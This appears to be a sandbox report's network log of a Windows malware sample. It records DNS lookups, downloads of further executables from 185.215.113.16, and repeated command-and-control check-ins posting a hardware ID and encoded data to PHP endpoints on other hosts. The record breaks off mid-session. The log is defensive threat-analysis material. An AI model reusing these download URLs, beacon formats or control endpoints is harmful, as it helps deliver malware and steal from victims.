Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 08:40:53.176206112 CET	192.168.2.8	1.1.1.1	0xb6fa	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 08:40:53.314343929 CET	1.1.1.1	192.168.2.8	0xb6fa	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:40:53.314343929 CET	1.1.1.1	192.168.2.8	0xb6fa	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

185.215.113.206

185.215.113.43

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49715	185.215.113.16	80	3164	C:\Users\user\Desktop\oTZfvSwHTq.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:41:17.374782085 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 08:41:18.714900017 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:41:17 GMT Content-Type: application/octet-stream Content-Length: 5180416 Last-Modified: Fri, 27 Dec 2024 06:37:21 GMT Connection: keep-alive ETag: "676e4b21-4f0c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 4f 00 00 04 00 00 46 6a 4f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@@OFjO@M$a$$ $$@.rsrc$$@.idata $$@kosvbopd@$@$@gvemugdtON@.taggant0O"N@
Dec 27, 2024 08:41:18.714936972 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:41:18.714951038 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:41:18.715037107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:41:18.715050936 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: _pqEtvvEwq"mv
Dec 27, 2024 08:41:18.715061903 CET	1236	IN	Data Raw: 6d b2 1d aa 45 15 0c 83 27 9f 76 aa 89 60 df 26 77 15 7e 83 73 8a 76 aa ce 51 3e 23 02 42 36 82 5f 9e 76 aa cc 50 26 2f 84 7e 07 25 15 ba 8d e4 f0 92 c1 7b 45 9f 22 3b e1 8a 8b 62 00 13 cc 6f 04 f2 7e be 45 8a 89 61 38 0f b6 1f 55 15 c7 57 c3 d3 Data Ascii: mE'v`&w~svQ>#B6_vP&/~%{E";bo~Ea8UWZw1Q$Z6vP ~%R{E";bY$brwQ$jza$rbY$zrQ$"vE6vP ~%{E";&hEOlB
Dec 27, 2024 08:41:18.715075970 CET	1236	IN	Data Raw: ce 4f 46 83 17 9a 76 aa ce 4f aa 84 17 8b 76 aa ce 07 62 ae f8 f2 84 62 47 f2 ca ba 45 8a 8b f3 cf 67 9e 20 99 7e 14 25 03 c2 8c eb f0 a1 8b 10 68 0f 7c 1f 54 5a c3 aa 53 be 81 0e 44 60 c3 aa 53 26 86 0e 44 72 da 48 01 8a 77 b0 a9 19 d3 ab c8 be Data Ascii: OFvOvbbGEg ~%h\|TZSD`S&DrHw'nJv%\|aw1fmDawO'XnGVEF r~/E~-vQaSD`wfmDmv'0aGEOF ~z^mv36mv%6l~
Dec 27, 2024 08:41:18.715229034 CET	1236	IN	Data Raw: 4e 8a 76 25 74 0f 7c 1f 5e 0f 5b 1f 52 5d dc aa 53 be 81 0e 44 17 85 83 7b 89 76 7c 12 89 1c 36 d4 6d 76 2d fb ce 71 23 fb d6 fd a3 ce 4f b2 83 17 95 76 aa ce 4f 7e 83 1f 94 76 aa cc 4f b2 20 84 7e 0a 2f 72 7e 0e 70 14 89 1c 5e d7 6d 76 25 82 f2 Data Ascii: Nv%t\|^[R]SD{v\|6mv-q#OvO~vO ~/r~p^mv%&ElE3lEEvSvEiNv%`JnOv%\|wH\|L`SDawIvI2MpEk6lE[Ew+;FmDn vEQP3E\|8nOv#Lv
Dec 27, 2024 08:41:18.715240955 CET	1236	IN	Data Raw: 4c 60 c6 aa 53 be 81 0e 44 15 7b 83 17 02 76 aa c6 ce 01 2f 84 7e d6 26 0b 9e 8b 60 60 15 d5 cf c1 f6 05 25 78 13 cf a3 05 13 c5 93 6c 1a 0d aa 45 13 0f 2f 84 7e 07 25 0b e6 8c e4 f0 92 c1 7b 45 9f 22 3b e1 8a f1 87 cc 8a 76 aa c8 4f 22 25 88 f2 Data Ascii: L`SD{v/~&``%xlE/~%{E";vO"%:Ex\|8wEG LvEnUBvpE:lElE_~&Ev]^E#lEiCv%2({v{mv/rvqE69`hFElEv6i
Dec 27, 2024 08:41:18.715251923 CET	1236	IN	Data Raw: cc 7b 0e 25 04 92 8d eb f0 8d 89 63 48 15 cd bf c0 ca fd 00 c9 52 7e 2e 84 fa 4e ab 44 8a 76 aa c0 d3 fd 42 c1 43 76 1e 26 45 41 10 4c 15 46 24 53 ce 80 0e 44 15 e1 af 44 7a 72 25 f7 92 89 1b 4c 15 c9 a3 c0 d3 fd ae cc 4b 0a 25 0c 96 8d e4 f0 b1 Data Ascii: {%cHR~.NDvBCv&EALF$SDDzr%LK%TD~U%mv%q@{%cHR~.NDvBCv&EALF$SDDzr%LK%TD~U#KDD[r%\|L6ReEmv
Dec 27, 2024 08:41:18.835092068 CET	1236	IN	Data Raw: ed 2a 16 6d 44 72 aa 4b 01 8a 93 17 cf 6d 76 82 03 a7 76 aa c6 ce c9 05 49 72 be 4b 01 8a ee ef 24 4d 76 cd 40 13 d3 ab 6d b6 15 aa 45 74 09 cd 98 13 d3 ab ed da 11 6d 44 72 5a 4b 01 8a 6e b1 58 8a 76 04 48 72 6e 4b 01 8a ee 93 24 4d 76 cd 2c 15 Data Ascii: *mDrKmvvIrK$Mv@mEtmDrZKnXvHrnK$Mv,mEtL3mD-'nXvKrK['Mv mEt3VmD-J$nXv-RbmDrL?mvv#'Mv3DE"mDrLmvv'Mv3ZD
Dec 27, 2024 08:41:27.259352922 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 08:41:27.700404882 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:41:26 GMT Content-Type: application/octet-stream Content-Length: 3273216 Last-Modified: Fri, 27 Dec 2024 06:37:29 GMT Connection: keep-alive ETag: "676e4b29-31f200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf2@022@Wk1h1 @.rsrc@.idata @xcljfhyk@+4+@mqunepnm11@.taggant02"1@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49716	185.215.113.206	80	4268	C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:41:33.184865952 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 27, 2024 08:41:34.616806984 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:41:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 27, 2024 08:41:34.622595072 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGII Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 43 46 31 42 30 35 45 32 45 36 34 31 32 30 30 32 31 34 35 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 2d 2d 0d 0a Data Ascii: ------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="hwid"D9CF1B05E2E64120021454------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="build"stok------FIIIIDGHJEBFBGDHDGII--
Dec 27, 2024 08:41:35.086496115 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:41:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49718	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:05.361682892 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:42:06.700783968 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49720	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:08.334573984 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 08:42:09.743720055 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49727	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:11.491084099 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:42:12.837874889 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49738	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:14.474765062 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 08:42:15.910512924 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49743	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:17.662174940 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:42:19.094943047 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49749	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:20.728699923 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 08:42:22.076922894 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49755	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:24.169277906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:42:25.608686924 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49762	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:27.287457943 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 08:42:28.718704939 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49771	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:30.459301949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:42:31.789330006 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49779	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:33.412091017 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 08:42:34.756947994 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49785	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:36.515420914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:42:37.894527912 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49794	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:39.522173882 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 08:42:40.860249996 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49800	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
